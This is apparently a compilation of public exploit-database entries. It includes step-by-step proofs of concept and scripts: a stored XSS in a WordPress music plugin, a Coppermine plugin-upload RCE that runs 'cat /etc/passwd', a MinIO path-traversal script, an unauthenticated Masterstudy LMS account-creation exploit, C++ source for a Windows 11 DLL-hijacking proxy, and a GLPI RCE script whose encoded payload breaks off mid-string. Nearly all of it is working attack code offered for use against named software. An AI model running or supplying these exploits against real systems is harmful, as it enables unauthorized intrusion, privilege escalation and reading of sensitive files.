<pre><code># Exploit Title: Wordpress Sonaar Music Plugin 4.7 - Stored XSS<br /># Date: 2023-09-05<br /># Exploit Author: Furkan Karaarslan<br /># Category : Webapps<br /># Vendor Homepage: http://127.0.0.1/wp/wordpress/wp-comments-post.php<br /># Version: 4.7 (REQUIRED)<br /># Tested on: Windows/Linux<br />----------------------------------------------------------------------------------------------------<br />1-First install sonar music plugin.<br />2-Then come to the playlist add page. > http://127.0.0.1/wp/wordpress/wp-admin/edit.php?post_type=sr_playlist<br />3-Press the Add new playlist button<br />4-Put a random title on the page that opens and publish the page. > http://127.0.0.1/wp/wordpress/wp-admin/post-new.php?post_type=sr_playlist<br />5-This is the published page http://127.0.0.1/wp/wordpress/album_slug/test/<br />6-Let's paste our xss payload in the comment section. Payload: <script>alert("XSS")</script><br />Bingoo<br /><br />Request:<br />POST /wp/wordpress/wp-comments-post.php HTTP/1.1<br />Host: 127.0.0.1<br />Content-Length: 155<br />Cache-Control: max-age=0<br />sec-ch-ua: <br />sec-ch-ua-mobile: ?0<br />sec-ch-ua-platform: ""<br />Upgrade-Insecure-Requests: 1<br />Origin: http://127.0.0.1<br />Content-Type: application/x-www-form-urlencoded<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36<br />Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7<br />Sec-Fetch-Site: same-origin<br />Sec-Fetch-Mode: navigate<br />Sec-Fetch-User: ?1<br />Sec-Fetch-Dest: document<br />Referer: http://127.0.0.1/wp/wordpress/album_slug/test/<br />Accept-Encoding: gzip, deflate<br />Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7<br />Cookie: comment_author_email_52c14530c1f3bbfa6d982f304802224a=a%40gmail.com; comment_author_52c14530c1f3bbfa6d982f304802224a=a%22%26gt%3Balert%28%29; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_52c14530c1f3bbfa6d982f304802224a=hunter%7C1694109284%7CXGnjFgcc7FpgQkJrAwUv1kG8XaQu3RixUDyZJoRSB1W%7C16e2e3964e42d9e56edd7ab7e45b676094d0b9e0ab7fcec2e84549772e438ba9; wp-settings-time-1=1693936486<br />Connection: close<br /><br />comment=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&submit=Yorum+g%C3%B6nder&comment_post_ID=13&comment_parent=0&_wp_unfiltered_html_comment=95f4bd9cf5<br /><br /><br /></code></pre>
<pre><code>Exploit Title: coppermine-gallery 1.6.25 RCE<br />Application: coppermine-gallery<br />Version: v1.6.25 <br />Bugs: RCE<br />Technology: PHP<br />Vendor URL: https://coppermine-gallery.net/<br />Software Link: https://github.com/coppermine-gallery/cpg1.6.x/archive/refs/tags/v1.6.25.zip<br />Date of found: 05.09.2023<br />Author: Mirabbas Ağalarov<br />Tested on: Linux <br /><br /><br />2. Technical Details & POC<br />========================================<br />steps<br /><br /><br />1.First of All create php file content as <?php echo system('cat /etc/passwd'); ?> and sequeze this file with zip.<br />$ cat >> test.php <br /><?php echo system('cat /etc/passwd'); ?><br />$ zip test.zip test.php<br /><br />1. Login to account<br />2. Go to http://localhost/cpg1.6.x-1.6.25/pluginmgr.php<br />3. Upload zip file<br />4. Visit to php file http://localhost/cpg1.6.x-1.6.25/plugins/test.php<br /><br /><br /><br />poc request<br /><br />POST /cpg1.6.x-1.6.25/pluginmgr.php?op=upload HTTP/1.1<br />Host: localhost<br />Content-Length: 630<br />Cache-Control: max-age=0<br />sec-ch-ua: <br />sec-ch-ua-mobile: ?0<br />sec-ch-ua-platform: ""<br />Upgrade-Insecure-Requests: 1<br />Origin: http://localhost<br />Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryi1AopwPnBYPdzorF<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36<br />Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7<br />Sec-Fetch-Site: same-origin<br />Sec-Fetch-Mode: navigate<br />Sec-Fetch-User: ?1<br />Sec-Fetch-Dest: document<br />Referer: http://localhost/cpg1.6.x-1.6.25/pluginmgr.php<br />Accept-Encoding: gzip, deflate<br />Accept-Language: en-US,en;q=0.9<br />Cookie: cpg16x_data=YTo0OntzOjI6IklEIjtzOjMyOiI0MmE1Njk2NzhhOWE3YTU3ZTI2ZDgwYThlYjZkODQ4ZCI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo3OiJlbmdsaXNoIjtzOjM6ImxpdiI7YTowOnt9fQ%3D%3D; cpg16x_fav=YToxOntpOjA7aToxO30%3D; d4e0836e1827aa38008bc6feddf97eb4=93ffa260bd94973848c10e15e50b342c<br />Connection: close<br /><br />------WebKitFormBoundaryi1AopwPnBYPdzorF<br />Content-Disposition: form-data; name="plugin"; filename="test.zip"<br />Content-Type: application/zip<br /><br />PK<br />�����™b%Wz½µ}(���(�����test.phpUT �ñòödÓòödux���������<?php echo system('cat /etc/passwd');?><br />PK<br />�����™b%Wz½µ}(���(������������¤����test.phpUT�ñòödux���������PK������N���j�����<br />------WebKitFormBoundaryi1AopwPnBYPdzorF<br />Content-Disposition: form-data; name="form_token"<br /><br />50982f2e64a7bfa63dbd912a7fdb4e1e<br />------WebKitFormBoundaryi1AopwPnBYPdzorF<br />Content-Disposition: form-data; name="timestamp"<br /><br />1693905214<br />------WebKitFormBoundaryi1AopwPnBYPdzorF--<br /></code></pre>
<pre><code># Exploit Title: Minio 2022-07-29T19-40-48Z - Path traversal<br /># Date: 2023-09-02<br /># Exploit Author: Jenson Zhao<br /># Vendor Homepage: https://min.io/<br /># Software Link: https://github.com/minio/minio/<br /># Version: Up to (excluding) 2022-07-29T19-40-48Z<br /># Tested on: Windows 10<br /># CVE : CVE-2022-35919<br /># Required before execution: pip install minio,requests<br />import urllib.parse<br />import requests, json, re, datetime, argparse<br />from minio.credentials import Credentials<br />from minio.signer import sign_v4_s3<br /><br /><br />class MyMinio():<br /> secure = False<br /><br /> def __init__(self, base_url, access_key, secret_key):<br /> self.credits = Credentials(<br /> access_key=access_key,<br /> secret_key=secret_key<br /> )<br /> if base_url.startswith('http://') and base_url.endswith('/'):<br /> self.url = base_url + 'minio/admin/v3/update?updateURL=%2Fetc%2Fpasswd'<br /> elif base_url.startswith('https://') and base_url.endswith('/'):<br /> self.url = base_url + 'minio/admin/v3/update?updateURL=%2Fetc%2Fpasswd'<br /> self.secure = True<br /> else:<br /> print('Please enter a URL address that starts with "http://" or "https://" and ends with "/"\n')<br /><br /> def poc(self):<br /> datetimes = datetime.datetime.utcnow()<br /> datetime_str = datetimes.strftime('%Y%m%dT%H%M%SZ')<br /> urls = urllib.parse.urlparse(self.url)<br /> headers = {<br /> 'X-Amz-Content-Sha256': 'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855',<br /> 'X-Amz-Date': datetime_str,<br /> 'Host': urls.netloc,<br /> }<br /> headers = sign_v4_s3(<br /> method='POST',<br /> url=urls,<br /> region='',<br /> headers=headers,<br /> credentials=self.credits,<br /> content_sha256='e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855',<br /> date=datetimes,<br /> )<br /> if self.secure:<br /> response = requests.post(url=self.url, headers=headers, verify=False)<br /> else:<br /> response = requests.post(url=self.url, headers=headers)<br /> try:<br /> message = json.loads(response.text)['Message']<br /> pattern = r'(\w+):(\w+):(\d+):(\d+):(\w+):(\/[\w\/\.-]+):(\/[\w\/\.-]+)'<br /> matches = re.findall(pattern, message)<br /> if matches:<br /> print('There is CVE-2022-35919 problem with the url!')<br /> print('The contents of the /etc/passwd file are as follows:')<br /> for match in matches:<br /> print("{}:{}:{}:{}:{}:{}:{}".format(match[0], match[1], match[2], match[3], match[4], match[5],<br /> match[6]))<br /> else:<br /> print('There is no CVE-2022-35919 problem with the url!')<br /> print('Here is the response message content:')<br /> print(message)<br /> except Exception as e:<br /> print(<br /> 'It seems there was an issue with the requested response, which did not meet our expected criteria. Here is the response content:')<br /> print(response.text)<br /><br /><br />if __name__ == '__main__':<br /> parser = argparse.ArgumentParser()<br /> parser.add_argument("-u", "--url", required=True, help="URL of the target. example: http://192.168.1.1:9088/")<br /> parser.add_argument("-a", "--accesskey", required=True, help="Minio AccessKey of the target. example: minioadmin")<br /> parser.add_argument("-s", "--secretkey", required=True, help="Minio SecretKey of the target. example: minioadmin")<br /> args = parser.parse_args()<br /> minio = MyMinio(args.url, args.accesskey, args.secretkey)<br /> minio.poc()<br /> <br /><br /></code></pre>
<pre><code># Exploit Title: Wordpress Plugin Masterstudy LMS - 3.0.17 - Unauthenticated Instructor Account Creation<br /># Google Dork: inurl:/user-public-account<br /># Date: 2023-09-04<br /># Exploit Author: Revan Arifio<br /># Vendor Homepage: https:/.org/plugins/masterstudy-lms-learning-management-system/<br /># Version: <= 3.0.17<br /># Tested on: Windows, Linux<br /># CVE : CVE-2023-4278<br /><br />import requests<br />import os<br />import re<br />import time<br /><br />banner = """<br /> _______ ________ ___ ___ ___ ____ _ _ ___ ______ ___ <br /> / ____\ \ / / ____| |__ \ / _ \__ \|___ \ | || |__ \____ / _ \ <br /> | | \ \ / /| |__ ______ ) | | | | ) | __) |_____| || |_ ) | / / (_) |<br /> | | \ \/ / | __|______/ /| | | |/ / |__ <______|__ _/ / / / > _ < <br /> | |____ \ / | |____ / /_| |_| / /_ ___) | | |/ /_ / / | (_) |<br /> \_____| \/ |______| |____|\___/____|____/ |_|____/_/ \___/ <br /> <br />======================================================================================================<br />|| Title : Masterstudy LMS <= 3.0.17 - Unauthenticated Instructor Account Creation ||<br />|| Author : https://github.com/revan-ar ||<br />|| Vendor Homepage : https:/wordpress.org/plugins/masterstudy-lms-learning-management-system/ ||<br />|| Support : https://www.buymeacoffee.com/revan.ar ||<br />======================================================================================================<br /><br />"""<br /><br /><br />print(banner)<br /><br /># get nonce<br />def get_nonce(target):<br /> open_target = requests.get("{}/user-public-account".format(target))<br /> search_nonce = re.search('"stm_lms_register":"(.*?)"', open_target.text)<br /> if search_nonce[1] != None:<br /> return search_nonce[1]<br /> else:<br /> print("Failed when getting Nonce :p")<br /><br /><br /><br /># privielege escalation<br />def privesc(target, nonce, username, password, email):<br /><br /> req_data = {<br /> "user_login":"{}".format(username),<br /> "user_email":"{}".format(email),<br /> "user_password":"{}".format(password),<br /> "user_password_re":"{}".format(password),<br /> "become_instructor":True,<br /> "privacy_policy":True,<br /> "degree":"",<br /> "expertize":"",<br /> "auditory":"",<br /> "additional":[],<br /> "additional_instructors":[],<br /> "profile_default_fields_for_register":[],<br /> "redirect_page":"{}/user-account/".format(target)<br /> }<br /><br /> start = requests.post("{}/wp-admin/admin-ajax.php?action=stm_lms_register&nonce={}".format(target, nonce), json = req_data)<br /><br /> if start.status_code == 200:<br /> print("[+] Exploit Success !!")<br /> else:<br /> print("[+] Exploit Failed :p")<br /><br /><br /><br /># URL target<br />target = input("[+] URL Target: ")<br />print("[+] Starting Exploit")<br />plugin_check = requests.get("{}/wp-content/plugins/masterstudy-lms-learning-management-system/readme.txt".format(target))<br />plugin_version = re.search("Stable tag: (.+)", plugin_check.text)<br />int_version = plugin_version[1].replace(".", "")<br />time.sleep(1)<br /><br />if int(int_version) < 3018:<br /> print("[+] Target is Vulnerable !!")<br /> # Credential<br /> email = input("[+] Email: ")<br /> username = input("[+] Username: ")<br /> password = input("[+] Password: ")<br /> time.sleep(1)<br /> print("[+] Getting Nonce...")<br /> get_nonce = get_nonce(target)<br /> # Get Nonce<br /> if get_nonce != None:<br /> print("[+] Success Getting Nonce: {}".format(get_nonce))<br /> time.sleep(1)<br /> # Start PrivEsc<br /> privesc(target, get_nonce, username, password, email)<br /> # ----------------------------------<br /> <br />else:<br /> print("[+] Target is NOT Vulnerable :p")<br /> <br /><br /></code></pre>
<pre><code>#---------------------------------------------------------<br /># Title: Microsoft Windows 11 - 'apds.dll' DLL hijacking (Forced)<br /># Date: 2023-09-01<br /># Author: Moein Shahabi<br /># Vendor: https://www.microsoft.com<br /># Version: Windows 11 Pro 10.0.22621<br /># Tested on: Windows 11_x64 [eng]<br /><br />#---------------------------------------------------------<br /><br /><br />Description:<br /><br />HelpPane object allows us to force Windows 11 to DLL hijacking <br /><br />Instructions:<br /><br />1. Compile dll<br />2. Copy newly compiled dll "apds.dll" in the "C:\Windows\" directory <br />3. Launch cmd and Execute the following command to test HelpPane object "[System.Activator]::CreateInstance([Type]::GetTypeFromCLSID('8CEC58AE-07A1-11D9-B15E-000D56BFE6EE'))"<br />4. Boom DLL Hijacked!<br /><br /><br />------Code_Poc-------<br />#pragma once<br />#include <Windows.h><br /><br /><br /><br />// Function executed when the thread starts<br />extern "C" __declspec(dllexport)<br />DWORD WINAPI MessageBoxThread(LPVOID lpParam) {<br /> MessageBox(NULL, L"DLL Hijacked!", L"DLL Hijacked!", NULL);<br /> return 0;<br />}<br /><br />PBYTE AllocateUsableMemory(PBYTE baseAddress, DWORD size, DWORD protection = PAGE_READWRITE) {<br />#ifdef _WIN64<br /> PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)baseAddress;<br /> PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)dosHeader + dosHeader->e_lfanew);<br /> PIMAGE_OPTIONAL_HEADER optionalHeader = &ntHeaders->OptionalHeader;<br /><br /> // Create some breathing room<br /> baseAddress = baseAddress + optionalHeader->SizeOfImage;<br /><br /> for (PBYTE offset = baseAddress; offset < baseAddress + MAXDWORD; offset += 1024 * 8) {<br /> PBYTE usuable = (PBYTE)VirtualAlloc(<br /> offset,<br /> size,<br /> MEM_RESERVE | MEM_COMMIT,<br /> protection);<br /><br /> if (usuable) {<br /> ZeroMemory(usuable, size); // Not sure if this is required<br /> return usuable;<br /> }<br /> }<br />#else<br /> // x86 doesn't matter where we allocate<br /><br /> PBYTE usuable = (PBYTE)VirtualAlloc(<br /> NULL,<br /> size,<br /> MEM_RESERVE | MEM_COMMIT,<br /> protection);<br /><br /> if (usuable) {<br /> ZeroMemory(usuable, size);<br /> return usuable;<br /> }<br />#endif<br /> return 0;<br />}<br /><br />BOOL ProxyExports(HMODULE ourBase, HMODULE targetBase)<br />{<br />#ifdef _WIN64<br /> BYTE jmpPrefix[] = { 0x48, 0xb8 }; // Mov Rax <Addr><br /> BYTE jmpSuffix[] = { 0xff, 0xe0 }; // Jmp Rax<br />#else<br /> BYTE jmpPrefix[] = { 0xb8 }; // Mov Eax <Addr><br /> BYTE jmpSuffix[] = { 0xff, 0xe0 }; // Jmp Eax<br />#endif<br /><br /> PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetBase;<br /> PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)dosHeader + dosHeader->e_lfanew);<br /> PIMAGE_OPTIONAL_HEADER optionalHeader = &ntHeaders->OptionalHeader;<br /> PIMAGE_DATA_DIRECTORY exportDataDirectory = &optionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];<br /> if (exportDataDirectory->Size == 0)<br /> return FALSE; // Nothing to forward<br /><br /> PIMAGE_EXPORT_DIRECTORY targetExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)dosHeader + exportDataDirectory->VirtualAddress);<br /><br /> if (targetExportDirectory->NumberOfFunctions != targetExportDirectory->NumberOfNames)<br /> return FALSE; // TODO: Add support for DLLs with mixed ordinals<br /><br /> dosHeader = (PIMAGE_DOS_HEADER)ourBase;<br /> ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)dosHeader + dosHeader->e_lfanew);<br /> optionalHeader = &ntHeaders->OptionalHeader;<br /> exportDataDirectory = &optionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];<br /> if (exportDataDirectory->Size == 0)<br /> return FALSE; // Our DLL is broken<br /><br /> PIMAGE_EXPORT_DIRECTORY ourExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)dosHeader + exportDataDirectory->VirtualAddress);<br /><br /> // ----------------------------------<br /><br /> // Make current header data RW for redirections<br /> DWORD oldProtect = 0;<br /> if (!VirtualProtect(<br /> ourExportDirectory,<br /> 64, PAGE_READWRITE,<br /> &oldProtect)) {<br /> return FALSE;<br /> }<br /><br /> DWORD totalAllocationSize = 0;<br /><br /> // Add the size of jumps<br /> totalAllocationSize += targetExportDirectory->NumberOfFunctions * (sizeof(jmpPrefix) + sizeof(jmpSuffix) + sizeof(LPVOID));<br /><br /> // Add the size of function table<br /> totalAllocationSize += targetExportDirectory->NumberOfFunctions * sizeof(INT);<br /><br /> // Add total size of names<br /> PINT targetAddressOfNames = (PINT)((PBYTE)targetBase + targetExportDirectory->AddressOfNames);<br /> for (DWORD i = 0; i < targetExportDirectory->NumberOfNames; i++)<br /> totalAllocationSize += (DWORD)strlen(((LPCSTR)((PBYTE)targetBase + targetAddressOfNames[i]))) + 1;<br /><br /> // Add size of name table<br /> totalAllocationSize += targetExportDirectory->NumberOfNames * sizeof(INT);<br /><br /> // Add the size of ordinals:<br /> totalAllocationSize += targetExportDirectory->NumberOfFunctions * sizeof(USHORT);<br /><br /> // Allocate usuable memory for rebuilt export data<br /> PBYTE exportData = AllocateUsableMemory((PBYTE)ourBase, totalAllocationSize, PAGE_READWRITE);<br /> if (!exportData)<br /> return FALSE;<br /><br /> PBYTE sideAllocation = exportData; // Used for VirtualProtect later<br /><br /> // Copy Function Table<br /> PINT newFunctionTable = (PINT)exportData;<br /> CopyMemory(newFunctionTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNames, targetExportDirectory->NumberOfFunctions * sizeof(INT));<br /> exportData += targetExportDirectory->NumberOfFunctions * sizeof(INT);<br /> ourExportDirectory->AddressOfFunctions = (DWORD)((PBYTE)newFunctionTable - (PBYTE)ourBase);<br /><br /> // Write JMPs and update RVAs in the new function table<br /> PINT targetAddressOfFunctions = (PINT)((PBYTE)targetBase + targetExportDirectory->AddressOfFunctions);<br /> for (DWORD i = 0; i < targetExportDirectory->NumberOfFunctions; i++) {<br /> newFunctionTable[i] = (DWORD)(exportData - (PBYTE)ourBase);<br /><br /> CopyMemory(exportData, jmpPrefix, sizeof(jmpPrefix));<br /> exportData += sizeof(jmpPrefix);<br /><br /> PBYTE realAddress = (PBYTE)((PBYTE)targetBase + targetAddressOfFunctions[i]);<br /> CopyMemory(exportData, &realAddress, sizeof(LPVOID));<br /> exportData += sizeof(LPVOID);<br /><br /> CopyMemory(exportData, jmpSuffix, sizeof(jmpSuffix));<br /> exportData += sizeof(jmpSuffix);<br /> }<br /><br /> // Copy Name RVA Table<br /> PINT newNameTable = (PINT)exportData;<br /> CopyMemory(newNameTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNames, targetExportDirectory->NumberOfNames * sizeof(DWORD));<br /> exportData += targetExportDirectory->NumberOfNames * sizeof(DWORD);<br /> ourExportDirectory->AddressOfNames = (DWORD)((PBYTE)newNameTable - (PBYTE)ourBase);<br /><br /> // Copy names and apply delta to all the RVAs in the new name table<br /> for (DWORD i = 0; i < targetExportDirectory->NumberOfNames; i++) {<br /> PBYTE realAddress = (PBYTE)((PBYTE)targetBase + targetAddressOfNames[i]);<br /> DWORD length = (DWORD)strlen((LPCSTR)realAddress);<br /> CopyMemory(exportData, realAddress, length);<br /> newNameTable[i] = (DWORD)((PBYTE)exportData - (PBYTE)ourBase);<br /> exportData += length + 1;<br /> }<br /><br /> // Copy Ordinal Table<br /> PINT newOrdinalTable = (PINT)exportData;<br /> CopyMemory(newOrdinalTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNameOrdinals, targetExportDirectory->NumberOfFunctions * sizeof(USHORT));<br /> exportData += targetExportDirectory->NumberOfFunctions * sizeof(USHORT);<br /> ourExportDirectory->AddressOfNameOrdinals = (DWORD)((PBYTE)newOrdinalTable - (PBYTE)ourBase);<br /><br /> // Set our counts straight<br /> ourExportDirectory->NumberOfFunctions = targetExportDirectory->NumberOfFunctions;<br /> ourExportDirectory->NumberOfNames = targetExportDirectory->NumberOfNames;<br /><br /> if (!VirtualProtect(<br /> ourExportDirectory,<br /> 64, oldProtect,<br /> &oldProtect)) {<br /> return FALSE;<br /> }<br /><br /> if (!VirtualProtect(<br /> sideAllocation,<br /> totalAllocationSize,<br /> PAGE_EXECUTE_READ,<br /> &oldProtect)) {<br /> return FALSE;<br /> }<br /><br /> return TRUE;<br />}<br />// Executed when the DLL is loaded (traditionally or through reflective injection)<br />BOOL APIENTRY DllMain(HMODULE hModule,<br /> DWORD ul_reason_for_call,<br /> LPVOID lpReserved<br />)<br />{<br /> HMODULE realDLL;<br /> switch (ul_reason_for_call)<br /> {<br /> case DLL_PROCESS_ATTACH:<br /> CreateThread(NULL, NULL, MessageBoxThread, NULL, NULL, NULL);<br /> realDLL = LoadLibrary(L"C:\\Windows\\System32\\apds.dll");<br /> if (realDLL)<br /> ProxyExports(hModule, realDLL);<br /><br /><br /> case DLL_THREAD_ATTACH:<br /> case DLL_THREAD_DETACH:<br /> case DLL_PROCESS_DETACH:<br /> break;<br /> }<br /> return TRUE;<br />}<br />--------------------------<br /><br /><br /></code></pre>
<pre><code>#!/usr/bin/env python3<br /><br />#Exploit Title: GLPI GZIP(Py3) 9.4.5 - RCE <br />#Date: 08-30-2021<br />#Exploit Authors: Brian Peters & n3rada<br />#Vendor Homepage: https://glpi-project.org/<br />#Software Link: https://github.com/glpi-project/glpi/releases<br />#Version: 0.8.5-9.4.5<br />#Tested on: Exploit ran on Kali 2021. GLPI Ran on Windows 2019<br />#CVE: 2020-11060<br /><br /># Built-in imports<br />import argparse<br />import random<br />import re<br />import string<br />from datetime import datetime<br /><br /># Third party library imports<br />import requests<br />from lxml import html<br /><br /># https://raw.githubusercontent.com/AlmondOffSec/PoCs/master/glpi_rce_gzip/poc.txt<br />PAYLOAD = ";)qRJ*_O88Ux-0cRlA`B]5y[r.no5bKUb2EzEW34O(K~.Oa}pO}1F956/fp@mz`oQqahP+@[/tiLy:]YBmFrRmc*Jt}VxM^@(9BeSTo|zQ}6d/zF|LOMqSy:Nk5hCLU.s-Tx;fHci?1],*9}r;,FmIDZ5^|0SNYjN}H7z{(fPe1}~6u8i^_S38:64w+Q6rg*h4PZ`;h)mB*IeUhRLk;~}OVB`:XTKPnT4XS9pzLrze,[^Y/qnP5KEEo6t+ydw7m,@S/:_dka*4BAXKk?NvSgcV41P~r0iGI?/}lXrvB+94e3/E]aEUPVKmgPE[[Dc@Vjy.2mW+if^)c@n8a[`qt-0,S+sDM+RSj_M0V(@,I)SLHZg*rjV4HTKyQo9-[6OL7xhZKQDx03?Tc{|wo32~*QHgH;{@SPcPJ+}tXPPS~-@g:I-Zo+nxo+Y,pFjX8(.;Xr:jD6fx2IXJUMw.m{F7(@RFA6XHS{c`v(W~[yFLMvfBxiP;a58,w`pWEuNtKE~@N.t9fRDOqh1o.^G@W/rr5S_?8Ar/c[Ok}e|:i]P:DUB^o7*pUp[F6hml-32MT)@ih/f`T/~^r(.[+fLPhrD4aBO8u/4gPlr-6.}Mz(OTmHSO8XYa]^3|.*ASPLaB.*gzLUX|4,W_|E|M7all3?XXJ}Cy)6:M2fgiT@155[y0)^@HUXC+Iui9+-z^5dTm*{W}jSB@p8o-fHF)0gsa83,AjbbX]l0I{}k?}[,I`SgGyfZi1c2T@~lTM]}8-{H3DuMFd5+iAr?g9~~0P)AU8u`nk?a()`T@L;UMa@{zS9h7HTD*D1W3x*KNAmk7NXX-s8uQumOY3TLKnN4ls?*sPS/gS^O(/[ctaJYlJ-16_XqifQR(U?a1L@|;^3GHPg?J*mY)+[i(l4GBKj5r6Pkv-QxzVhgKKu9G*6~V6T)DiUK.Pxfy*X*QADUIB`L*GMYh0k[Lpk8eBYheF2yli-Czv7{Z:A4TDYo?PzLk6K5[0*vDbn53oPA(Np|U|AKVSqe/^bP~lkxPcUWXC-jt{27G.Fu;W`uu+cjgo5]m39R:3csXshb_EJ[p2i5~RD0.ZDYUa^Ev@mbA._4F@uVRx/LjW2h{tEME;tYpE,e55a*|lJ./kE1n]v_{/U8uyX:L/5ifJ^^WkTZ/nVC@,7oY^mMPV(-9stYKZWyg9fGtj+R4]Q.:.J5[;;v+rCL:O[JBHZ)Nk8s4(nbS*K]VH8,;Ya9V/.CwXV0X/3Rd{*~QeP6rn4|?V2n6vC|WtAU1JKba-INX`wmYI@}h)BO,^NHERJF~rMF]oz1?aaJI@H0^K`WG*8auteXa3svOvIcSqF6q?eyNA2sr)ai;nczU02qrz?s@W}N|VQr/.}R27*B4bA8?LrrbbOsR/VG[]Fii/vC9v;R7z76H,:0Lb(,qr}8Q_|;KCQGg(|I2*X3Nk-@GC[[7d)055J,/8{/JmL/odlgA8-O|?1yw6QmJjZxb;j[cFdy/B]/t?CG/y}Qyq|.RtE(rJ``i9ZxQarkR_yKlz21}~vpl~eLSV1+l/gi;k(]GdS^FueL7VMRa}{B@JUOy4gXP-By:)-jktZfg~f]Gz?D:UVqSJTAn_zLUQqPNHATd(2.uFeQhoO.L]EknPP3NZiLa8z1,;j/{p}k/V3KU:dgB4K}-U@Qx)g1wRI*]YyI6V^Ibl^4a*vwB+8*EiD^TAau8|]NAL(4Bn}*N+AfjHLqYDdbIuhYdP`~W0K@eM}*kj)t9`H(}fTh_0M@2kgUIBX-4dx05+)hIXtX]YtG*Y*dakDk.}9ZQeiGLnChu(S+Nk{:ZMA/HXEGz5L^)5Dh6qno8:Im[{aL_,eaw[ictOZav,APv}oRjmXp)sUsW5my2gm5boX}e-jQ38N3@RUe)J^|QF[IrZG*MfGkRw;ZK+~/cL4M38aBX8b7::Qq;(H+}yMEQV0Esr~zmd|uL4E,q6DsaD~b9Z;J5{At(/fKvOmXTIXiY.*DT42z62gPyW1;Ev*8]@jp{KgYnj1RCocqe~*tvcbWC2CRpA*Gjz(msc*KtdmW?fBsxzc/tle?@gVzi9sTGAMTJi/flQtFVJF^/Ls|RK.lQ`/m42oVGkM`+~V~I@g(9]cRR,`~D;k~TtM3e|):*vAg@LH55{:d:x4QkVb^R{Rll+CKMxa,rzSxG+D)L?ePUCgwZiMp.FwZe^]3gZOmU0kcSR-sc?@lQa)+vAMW7B}k?pF84QoQVIDE[W*4kKn~/GBQ[1Eg;46MRTMO3V31g^8yqz)--JO}2i;(oBbtyNd0XkM+_luyJH_NuZ?tZu|5.+Z.(,7j*(87Xya]mdZr_w?SeC{bE0@5]Nit?tyby`,rI6}.@@[42X]C)K,Tq[q/~feVi1mJl(CxPz`:*ZKl]J2}L;7.*tzTCC(s-BWgD9GzQpk]r*AP_GEQ]Cit6GRCbe;yZ}nreK+2q-ZPDrs^-G29dS@m4/4q*GnabGJW}.oahC88:]m?2hJrpy){pGcOf|7o3lxDUkST*Lham4z4B~}H3uLN{-,~+32@m[l|Rur9|jU_WqKUh+(D6i2[:(sR*)nc(E-2y}Rq]:,VsMIv1dot0m)3@aAARUMNMDxSMsq+O|O]y?_T,QvgXRQrA6c+r`zDr9NpNb2Eoq/?M},HgicpE@/NIjt;Sf^MaW`e^1ADhFcXqe4,KMhu1~GG8dlEU1|wE9NIoxjC(g`cIFq0^rItTK76{h1[SJLCn*w(w|(7F0Fva+~y{yzn1D2x4c-lv?p}wu9pF.?tlaB8a_~zu/4U0~j1/N?{E}1IZ`I{AM@GW{h{Ot1Pb@W@0Ha+7O?N|?B)ti20MTJ0Pm*g-~j/9L;^ouu?-O3-hDNt^0g3w:X92bA}ag_sZrJ3{}b|A^r}y/f(T.2{s`t;t1FGp83bT7lFRE.1;uas;(LIyNJ3OsoC;~-K,MToT+~~AlkS(;i0Pob*.;6+,s|ae2(cP.sF@`Tps6_+heNE_kKNVXk{Od8ETI`}q5):F?gO~ZBjd7G}Iy*QOOSDlTQQ-WsKJCu7Q~vH}NotKuTpwO8;mEElVqQ,D,mw56)}c9/?aooObfp+NRG9(L}b2hm`U9TxFxE5y}Nw0,sSN-jcj6q[;6Q~Jd*@kknF]XNDt(3HQKdoRT;2mYoMlM}Rn^S{ekyqsT:OX1;z8pUxT-XE)o?gXqNV].hEYrr4`Hy:aDh^4K1^|OzS{]7dZ]]--(Lp?{AIlUyHGf09PKy@r?:Dx-COsMlWeCcSp*3v_W(PWJHex:o9Uf:2Zvvfhx*eFT:g{@o]3}Y)uLO,bcugjJ0v/hq(LKCnr/zowwK0bqaQ^.ka5nE0U7/9+aokofDSyi9E|BUa[9*3vkr9Jxg)3Sx6bY.d5sBGWK+8IYEzqlpj?7;j{l^;B2?u;+UAn}1J5C:1DbcV,U@_OLL{aLFY`cQA7JnL[Tz6j-U9qmVy7;706VP0R`6Zmn_aRZE/P)R~A9lYosxX4;[?9/|O?sJSXZoVvNgIH[-D?o}e]_T7GJPu6Vk,SY{P?)b5oiGsGV.0{@,4JuY0a7d(P)`YX1~Iq[]K,?lNe-V+}QGG}T^~2l)BX9khRsxJB(rf,ZVz)dtCU3Br.8.yu~gMo7aD/]m/xrH~i]^]A*HLgFFY/AlVqLTa17qm1qcU;W4x;8,^;*|TN(YYkm?0Xbvsy*{))pfUG02mvBXNeH;)OZJ~6Z`csCb)R:Ute]2Nj90K{`M;6V1+YKbM;B,O/*~g-ucwb2|`cOS?D8Rt]X}6FI^okmw4~PI({VX8;KYMJRv]w2Jc/udD@[wOQ,huX76iQ}HqSgdiTalFVdujJwcaof}Z1MbK{/d;2{RM3rDRF4OSZbN2t+:TW,,v5m+1nWQbaoR(54f-[